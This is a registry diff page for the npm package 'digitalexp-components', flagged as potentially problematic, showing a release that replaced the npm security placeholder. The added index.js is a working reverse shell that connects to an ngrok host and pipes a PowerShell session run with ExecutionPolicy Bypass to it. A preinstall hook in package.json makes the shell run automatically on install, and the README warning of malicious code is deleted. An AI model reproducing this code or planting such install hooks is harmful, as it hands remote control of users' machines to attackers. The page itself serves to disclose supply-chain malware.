digitalexp-components 0.0.1-security → 13.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of digitalexp-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +54 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,54 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const { exec, spawn } = require("child_process");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const net = require('net');
8
+
9
+ const host = "0.tcp.in.ngrok.io"; // Change this to the correct ngrok or IP address
10
+ const port = 17967; // The port should match the server's listening port
11
+
12
+ const client = new net.Socket();
13
+ client.connect(port, host, () => {
14
+ console.log("Connected to Windows target (PowerShell)!");
15
+
16
+ // Construct the PowerShell command to execute interactively
17
+ const psCommand = `
18
+ while($true) {
19
+ $input = Read-Host "Enter command"
20
+ Invoke-Expression $input
21
+ }
22
+ `;
23
+
24
+ // Spawn PowerShell shell with ExecutionPolicy bypass
25
+ const shell = spawn('powershell.exe', [
26
+ '-ExecutionPolicy', 'Bypass', // Bypass execution policy
27
+ '-NoExit', // Keep the PowerShell session open
28
+ '-Command', psCommand // Pass the command as a string
29
+ ]);
30
+
31
+ // Pipe data between the client and PowerShell shell
32
+ client.pipe(shell.stdin);
33
+ shell.stdout.pipe(client);
34
+ shell.stderr.pipe(client);
35
+
36
+ // Handle error with the shell process
37
+ shell.on('error', (err) => {
38
+ console.error('Shell process error:', err);
39
+ });
40
+
41
+ // Handle close event for the shell process
42
+ shell.on('close', (code) => {
43
+ console.log(`Shell process exited with code ${code}`);
44
+ client.destroy(); // Close the client connection when the shell is done
45
+ });
46
+ });
47
+
48
+ client.on('error', (err) => {
49
+ console.error('Connection error:', err);
50
+ });
51
+
52
+ client.on('close', () => {
53
+ console.log('Connection closed');
54
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "digitalexp-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "13.1.8",
4
+ "description": "checking remote code execution and running ls -la command",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "node-fetch": "^2.7.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=digitalexp-components for more information.